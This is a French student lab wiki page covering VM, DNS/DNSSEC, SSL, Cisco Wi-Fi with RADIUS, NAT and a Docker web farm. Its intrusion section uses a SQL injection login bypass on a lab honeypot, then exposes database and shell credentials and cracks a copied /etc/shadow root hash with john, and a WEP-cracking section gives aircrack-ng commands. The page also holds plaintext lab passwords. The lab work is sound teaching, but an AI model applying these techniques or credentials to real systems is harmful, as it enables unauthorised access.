&lt;br /&gt;
===Création du conteneur===&lt;br /&gt;
&lt;br /&gt;
On met en place un conteneur qui contient notre site web et démarre apache2 sur le port 80.&lt;br /&gt;
En premier lieu on installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec &amp;lt;code&amp;gt;wget get.docker.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Dockerfile'''&lt;br /&gt;
&lt;br /&gt;
Il faut ensuite réaliser un &amp;lt;code&amp;gt;dockerfile&amp;lt;/code&amp;gt; :&lt;br /&gt;
 FROM httpd:latest&lt;br /&gt;
 MAINTAINER NourClara&lt;br /&gt;
 COPY ./index.html /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [ &amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot; ]&lt;br /&gt;
Le fichier &amp;lt;code&amp;gt;index.html&amp;lt;/code&amp;gt; dans lequel se trouve le contenu du site web doit se trouver dans le même répertoire que le &amp;lt;code&amp;gt;dockerfile&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Dépôt docker local''' &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;registry&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;deployer&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; avec un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : deployer sur les VMs&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: site&lt;br /&gt;
           image: 192.168.42.7:5000/webserver&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;8087:80&amp;quot;  &lt;br /&gt;
&amp;lt;code&amp;gt;image&amp;lt;/code&amp;gt; : là où se trouve notre serveur web à déployer (sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Playbook complet &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot;    &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 - name: Deploiement&lt;br /&gt;
   hosts: webinterne&lt;br /&gt;
   roles:&lt;br /&gt;
      - deployer&lt;/div&gt;</summary>
		<author><name>Cbisalli</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55002</id>
		<title>TP sysres IMA5sc 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55002"/>
				<updated>2020-12-18T21:29:24Z</updated>
		
		<summary type="html">&lt;p&gt;Cbisalli : /* Architecture générale de la ferme */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Explication Infrastructure ==&lt;br /&gt;
&lt;br /&gt;
==Installation VM==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh:&lt;br /&gt;
 ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Commande (en root su -):&lt;br /&gt;
 xen-create-image --hostname=girolle --ip=100.64.0.24 --netmask=255.255.255.240 --dist=buster --dir=/usr/local/xen --password=glopglop --force&lt;br /&gt;
&amp;lt;br&amp;gt; MAJ gateway : 161&lt;br /&gt;
&amp;lt;br&amp;gt;Nom de domaine: girolle.site&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse IP : 100.64.0.24 MAJ: 193.48.57.172&lt;br /&gt;
&amp;lt;br&amp;gt;Netmask: 255.255.255.240 MAJ: 255.255.255.224&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse MAC : 00:16:3E:3E:E3:15&lt;br /&gt;
&lt;br /&gt;
Repartition des volumes logiques : &lt;br /&gt;
 lvdisplay &lt;br /&gt;
 lvrename &lt;br /&gt;
&lt;br /&gt;
Dans le fichier de configuration de la machine : girolle.cfg&lt;br /&gt;
on rajoute var et home :&lt;br /&gt;
lignes 'phy:/.../xdva3'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Commandes pour creer et acceder a la VM :&lt;br /&gt;
&lt;br /&gt;
 xl create -c etc/xen/girolle.cfg&lt;br /&gt;
 '''xl console girolle'''&lt;br /&gt;
&lt;br /&gt;
Commandes sur la vm: &lt;br /&gt;
&lt;br /&gt;
dans etc/fstab il faut indiquer les fonctionnalites de xvda3 et xvda4 &lt;br /&gt;
&lt;br /&gt;
au prealable il faut &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1) formater la partition : &lt;br /&gt;
 mkfs -t ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
2) Monter la partition que l'on veut sur /mnt &lt;br /&gt;
 mount /dev/xvda4 /mnt&lt;br /&gt;
3) Migrer tout le contenu de var dans mnt &lt;br /&gt;
 cd /var&lt;br /&gt;
 mv * /mnt&lt;br /&gt;
&lt;br /&gt;
4) Dans le fichier fstab rajouter :&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
5) Unmout mnt &lt;br /&gt;
 umount /mnt&lt;br /&gt;
&lt;br /&gt;
6) Monter tout sur dev/xdva&lt;br /&gt;
 mount -a &lt;br /&gt;
7)Verification &lt;br /&gt;
 df&lt;br /&gt;
 dpkg -l&lt;br /&gt;
&lt;br /&gt;
== Activation connexion ssh ==&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config&lt;br /&gt;
&lt;br /&gt;
On décommente la ligne PermissionRoot :  &lt;br /&gt;
 # Authentication:&lt;br /&gt;
 #LoginGraceTime 2m&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
Puis on l'active avec la commande :&lt;br /&gt;
 service sshd restart&lt;br /&gt;
&lt;br /&gt;
On peut se connecter à la machine par ssh root@girolle.site (mot de passe root habituel)&lt;br /&gt;
&lt;br /&gt;
==Redirection DNS==&lt;br /&gt;
&lt;br /&gt;
=== Sur Gandi ===&lt;br /&gt;
&lt;br /&gt;
Achat d'un nom de domaine : girolle.site&lt;br /&gt;
Création d'un Glue Record : 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Serveur DNS primaire : ns1.girolle.site (193.48.57.182)&lt;br /&gt;
Serveur DNS secondaire : ns6.gandi.net (217.70.177.40)&lt;br /&gt;
&lt;br /&gt;
=== Sur la machine virtuelle ===&lt;br /&gt;
&lt;br /&gt;
Installation de bind9&lt;br /&gt;
On modifie les fichiers dans /etc/bind/named.conf.&lt;br /&gt;
Dans /etc/bind/named.conf.options&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/bind&amp;quot;;&lt;br /&gt;
   listen-on-v6 { any; };&lt;br /&gt;
   allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;girolle.site/girolle&amp;quot;;&lt;br /&gt;
   allow-transfer (217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans db.girolle.site&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA      ns1.girolle.site.  postmaster.girolle.site(&lt;br /&gt;
                              2         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182&lt;br /&gt;
 @       IN      MX      100 girolle.site.&lt;br /&gt;
&lt;br /&gt;
 www      IN      CNAME   ns1&lt;br /&gt;
&lt;br /&gt;
Puis pour le relancer :&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Configuration pour la réception du mail de confirmation du certificat SSL&lt;br /&gt;
Installer Postfixe pour avoir accès au fichier aliases&lt;br /&gt;
 Internet Site&lt;br /&gt;
 girolle.site&lt;br /&gt;
&lt;br /&gt;
Dans /etc/aliases&lt;br /&gt;
 admin: root&lt;br /&gt;
&lt;br /&gt;
Puis ajouter dans newaliases&lt;br /&gt;
Cela va permettre de récupérer le mail de confirmation de Gandi envoyé à admin@girolle.site&lt;br /&gt;
&lt;br /&gt;
https://www.jeffgeerling.com/blogs/jeff-geerling/viewing-email-linux-using&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Installation de mailx pour lire les mails reçus&lt;br /&gt;
 apt-install bsd-mailx&lt;br /&gt;
Pour consulter le mail de vérification&lt;br /&gt;
 mailx admin&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation par certificat SSL ===&lt;br /&gt;
&lt;br /&gt;
Génération du CSR à l'aide d'openssl&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout girolle.site.key -out girolle.site.csr&lt;br /&gt;
&lt;br /&gt;
Réception du mail de vérification avec une URL et un mot de passe ce qui nous permet de récupérer le fichier girolle.site.crt&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur apache2&lt;br /&gt;
&lt;br /&gt;
Activation du ssl sur apache2 &lt;br /&gt;
 ae2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Ajout dans le fichier 000-default.conf dans /etc/apache2/sites-available&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;                                                                                                         &lt;br /&gt;
  ServerName www.girolle.site                                                                                             &lt;br /&gt;
  Redirect / https://www.girolle.site       &lt;br /&gt;
  ....                                                                        &lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.182:443&amp;gt;&lt;br /&gt;
     DocumentRoot /var/www/html2&lt;br /&gt;
     ServerName girolle.site&lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /root/girolle.site.crt&lt;br /&gt;
         SSLCertificateKeyFile /root/girolle.site.key&lt;br /&gt;
         SSLCertificateChainFile /root/GandiCA.pem&lt;br /&gt;
     &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
verifications:&lt;br /&gt;
 host -t soa girolle.site ns6.gandi.net&lt;br /&gt;
 Sur Zabeth : host www.girolle.site&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
On ajoute l’option dnssec-enable yes; dans le fichier named.conf.options&lt;br /&gt;
On crée ensuite un dossier girolle_dnssec pour y stocker les couples de clés générées:&lt;br /&gt;
Une clef asymétrique de signature de clefs de zone &lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE girolle.site&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Une clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE girolle.site&lt;br /&gt;
&lt;br /&gt;
On renomme les deux paires de clés de la façon suivante :&lt;br /&gt;
  &lt;br /&gt;
 Kgirolle.site.+0+55681.key et Kgirolle.site.+0+55681.private en girolle.site-ksk.key et girolle.site-ksk.private&lt;br /&gt;
 Kgirolle.site.+0+00840.key et Kgirolle.site.+0+00840.private en girolle.site-zsk.key et girolle.site-ksk.private&lt;br /&gt;
&lt;br /&gt;
On inclue en les clefs publiques dans le fichier de zone db.girolle.site :&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrement de la zone avec la commande&lt;br /&gt;
 dnssec-signzone -o girolle.site -k girolle.site-ksk ../db.girolle.site girolle.site-zsk&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local on modifie la zone :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; IN {&lt;br /&gt;
  type master;&lt;br /&gt;
  file &amp;quot;/etc/bind/db.girolle.site.signed&amp;quot;;&lt;br /&gt;
  allow-transfer {227.70.177.40;};&lt;br /&gt;
 };   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enfin sur Gandi, on ajoute la clé publique ksk avec l'algorithme(RSA/SHA-1).&lt;br /&gt;
&lt;br /&gt;
On utilise l'analyseur de DNSSEC du site Verisign Labs pour vérifier. Tout s'effectue sans erreur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Girolle.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
== Configuration des bornes Wi-Fi ==&lt;br /&gt;
&lt;br /&gt;
Borne classique : Cisco - AIR-CAP1602I-E-K9&lt;br /&gt;
&lt;br /&gt;
Configuration IOS en CLI :&lt;br /&gt;
&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 aaa group server radius radius_girolle&lt;br /&gt;
 server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 !&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group1&lt;br /&gt;
 aaa authentication login eap_girolle group radius_girolle&lt;br /&gt;
 !         &lt;br /&gt;
 dot11 ssid SSID_GIROLLE&lt;br /&gt;
    vlan 107&lt;br /&gt;
    authentication open eap eap_girolle &lt;br /&gt;
    authentication network-eap eap_girolle &lt;br /&gt;
    authentication key-management wpa&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 ...&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
  encryption vlan 101 mode ciphers aes-ccm tkip&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ...&lt;br /&gt;
 interface BVI1&lt;br /&gt;
 ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 !&lt;br /&gt;
 radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key 7 09414A191B0A051C0E1B0D2C22&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10.60.100.10 : adresse IP fixe du point d'accès&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Commandes et verifications /&lt;br /&gt;
 ap(config)#interface BVI1&lt;br /&gt;
 ap(config-if)# ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 ap(config-if)#exit&lt;br /&gt;
 ap#write&lt;br /&gt;
 PING ROUTEUR 1 POUR VERIFIER LA CONNEXION&lt;br /&gt;
 ap#ping 10.60.100.2 &lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.2, timeout is 2 seconds:&lt;br /&gt;
 .!!!!&lt;br /&gt;
 Success rate is 80 percent (4/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
test second routeur : ne fonctionne pas car pas d'addresse ip&lt;br /&gt;
 ap#ping 10.60.100.1&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.1, timeout is 2 seconds:&lt;br /&gt;
 .....&lt;br /&gt;
 Success rate is 0 percent (0/5)&lt;br /&gt;
&lt;br /&gt;
Configurer l'adresse par defaut:&lt;br /&gt;
&lt;br /&gt;
 ap(config)#ip route 0.0.0.0 0.0.0.0 10.60.100.2&lt;br /&gt;
 ap(config)#exit&lt;br /&gt;
 ap#sh ip route&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Test ping notre machine virtuelle girolle : &lt;br /&gt;
 ap#ping 193.48.57.182&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 193.48.57.182, timeout is 2 seconds:&lt;br /&gt;
 !!!!!&lt;br /&gt;
 Success rate is 100 percent (5/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
===Sécurisation===&lt;br /&gt;
&lt;br /&gt;
On a refait la configuration avec groupe7 pour s'aligner sur les autres groupes.&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# aaa authentication login eap_group7 group radius_group7&lt;br /&gt;
 wifi-ima5sc(config)# radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key secret_group7&lt;br /&gt;
 wifi-ima5sc(config)# aaa group server radius radius_group7&lt;br /&gt;
 wifi-ima5sc(config-server)# server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 wifi-ima5sc(config)# dot11 ssid SSID_GROUP7&lt;br /&gt;
 wifi-ima5sc(config-radius)# mbssid guest-mode&lt;br /&gt;
 wifi-ima5sc(config-radius)# vlan 307&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication open eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication network-eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Dot11Radio0&lt;br /&gt;
 wifi-ima5sc(config-if)# encryption vlan 307 mode ciphers aes-ccm tkip&lt;br /&gt;
 wifi-ima5sc(config-if)# mbssid&lt;br /&gt;
 wifi-ima5sc(config)# ssid SSID_GROUP7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config-subif)# int dot11radio0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Gi0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
===FreeRadius===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/users&lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/client.conf&lt;br /&gt;
&lt;br /&gt;
 client girolle_wifi {&lt;br /&gt;
     ipaddr = 10.60.100.10&lt;br /&gt;
     secret = secret_group7&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Finalement on lance la commande freeradius -X&lt;br /&gt;
&lt;br /&gt;
===DHCP et mascarade===&lt;br /&gt;
&lt;br /&gt;
On doit implanter une fonction de serveur DHCP sur les deux routeurs.&lt;br /&gt;
&lt;br /&gt;
Pour le 6509E :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#default-router 10.60.107.1&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.99&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.150 10.60.107.255&lt;br /&gt;
 IMA5sc-R1(config)#exit&lt;br /&gt;
 IMA5sc-R1#sh ip dhcp binding&lt;br /&gt;
 IMA5sc-R1#ping 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Le ping fonctionne.&lt;br /&gt;
&lt;br /&gt;
Pour le C9200 :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#default-router 10.60.107.2&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.49&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.100 10.60.107.255&lt;br /&gt;
 IMA5sc-R2(config)#exit&lt;br /&gt;
 IMA5sc-R2#sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade (vlan131 -&amp;gt; vlan pour se connecter au routeur):&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 307&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat inside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 131&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat outside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# access-list 107 permit ip 10.60.107.0 0.0.0.255 any&lt;br /&gt;
 IMA5sc-R1(config)# ip nat inside source list 107 interface vlan 131 overload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du vlan sur les routeurs&lt;br /&gt;
 vlan 307&lt;br /&gt;
&lt;br /&gt;
==Configuration WLC==&lt;br /&gt;
&lt;br /&gt;
Utilisation de bornes Cisco 2802i&lt;br /&gt;
&lt;br /&gt;
Connection via minicom -os (9600 bauds)&lt;br /&gt;
&lt;br /&gt;
 enable &lt;br /&gt;
 capwap ap ip &amp;lt;ip&amp;gt; &amp;lt;netmask&amp;gt; &amp;lt;gateway&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Intrusion honey.plil.info ==&lt;br /&gt;
&lt;br /&gt;
pour avoir les identifiants de l'admin : ID = ' OR '1'='1 et MDP = ' OR '1'='1&lt;br /&gt;
&lt;br /&gt;
Admin : admin	jesuislechef	admin	Administrateur&lt;br /&gt;
&lt;br /&gt;
Creer le fichier  etc/phpmyadmin/config-db.php&lt;br /&gt;
en allant dans l'onglet: .... on telecharge le fichier qu'on a crée : &lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 ##&lt;br /&gt;
 ## database access settings in php format&lt;br /&gt;
 ## automatically generated from /etc/dbconfig-common/phpmyadmin.conf&lt;br /&gt;
 ## by /usr/sbin/dbconfig-generate-include&lt;br /&gt;
 ##&lt;br /&gt;
 ## by default this file is managed via ucf, so you shouldn't have to&lt;br /&gt;
 ## worry about manual changes being silently discarded.  *however*,&lt;br /&gt;
 ## you'll probably also want to edit the configuration file mentioned&lt;br /&gt;
 ## above too.&lt;br /&gt;
 ##&lt;br /&gt;
 $dbuser='phpmyadmin';&lt;br /&gt;
 $dbpass='gencovid19';&lt;br /&gt;
 $basepath='';&lt;br /&gt;
 $dbname='phpmyadmin';&lt;br /&gt;
 $dbserver='localhost';&lt;br /&gt;
 $dbport='3306';&lt;br /&gt;
 $dbtype='mysql';&lt;br /&gt;
&lt;br /&gt;
on reccupere user et mdp pour acceder a la page http://honey.plil.info/phpmyadmin/ &lt;br /&gt;
connexion id : root&lt;br /&gt;
mdp: gencovid19&lt;br /&gt;
&lt;br /&gt;
une fois connecter on recherche les identifiants des utilisateurs ssh :&lt;br /&gt;
id = rex &lt;br /&gt;
mdp: &lt;br /&gt;
&lt;br /&gt;
connexion ssh : ssh rex@honey.plil.info&lt;br /&gt;
 /etc/shadow pour trouver la cle de cryptage du mdp root &lt;br /&gt;
 copier la cle et la mettre dans un fichier (exemple :temp): root:$6$yCvXnJp4SOQwQaxV$vRYUr1fwU1SAPxZ0NbdIw/03ypGXjjRjZKRfX3sa7T2v9XnbI4xG.EyEtcrtASLlvqxuh9Hr6TrOB5Szopd6m/:18525:0:99999:7:::&lt;br /&gt;
 installation de john &lt;br /&gt;
 john nom du fichier&lt;br /&gt;
&lt;br /&gt;
pour aller plus rapidement creer un dictionnaire a partir des indices donnés  : motif doublé 'le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets'&lt;br /&gt;
utiliseer crunch?&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On utilise le paquet aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
La commande&lt;br /&gt;
 airmon-ng&lt;br /&gt;
permet de voir le nom du réseau sans fil: wlan0mon&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
On scanne les réseaux :&lt;br /&gt;
 airodump-ng --encrypte wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisi un réseau parmi ceux disponibles. Par exemple la cracotte08 est sur le canal 7 et a pour BSSID 04:DA:D2:9C:50:57.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On lance avec la commande :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --write testwep --channel 7 --bssid 04:DA:D2:9C:50:57 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -z testwep-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs web==&lt;br /&gt;
&lt;br /&gt;
===Architecture générale de la ferme===&lt;br /&gt;
&lt;br /&gt;
On travaille avec deux machines virtuelles, l'une sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (celle mise en place en PRA), l'autre sur le serveur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On ferme la machine virtuelle sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (&amp;lt;code&amp;gt;halt&amp;lt;/code&amp;gt;) pour modifier le fichier de configuration &amp;lt;code&amp;gt;girolle.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
On ajoute à la ligne vif &amp;lt;code&amp;gt;'mac=@MAC incrémenté de 1, bridge=bridgeStudents'&amp;lt;/code&amp;gt; avant de la relancer.&lt;br /&gt;
&lt;br /&gt;
'''Interfaces'''&lt;br /&gt;
&lt;br /&gt;
On associe l'adresse IP &amp;lt;code&amp;gt;192.186.42.21&amp;lt;/code&amp;gt; à la VM sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;. Pour cela on l'ajoute dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 auto eth1&lt;br /&gt;
 iface eth1 inet static&lt;br /&gt;
   address 192.168.42.21 &lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;, on ajoute une interface dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
   address 192.168.42.7&lt;br /&gt;
   netmask 255.255.255.0 &lt;br /&gt;
   gateway 192.168.42.21&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le ping entre leux deux machine se fait.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mascarade'''&lt;br /&gt;
&lt;br /&gt;
On met en place une mascarade pour que la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; ait accès à internet :&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.42.7/32&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.42.7/32&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.7/32 --to-source 193.48.57.182&lt;br /&gt;
 iptables-save&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
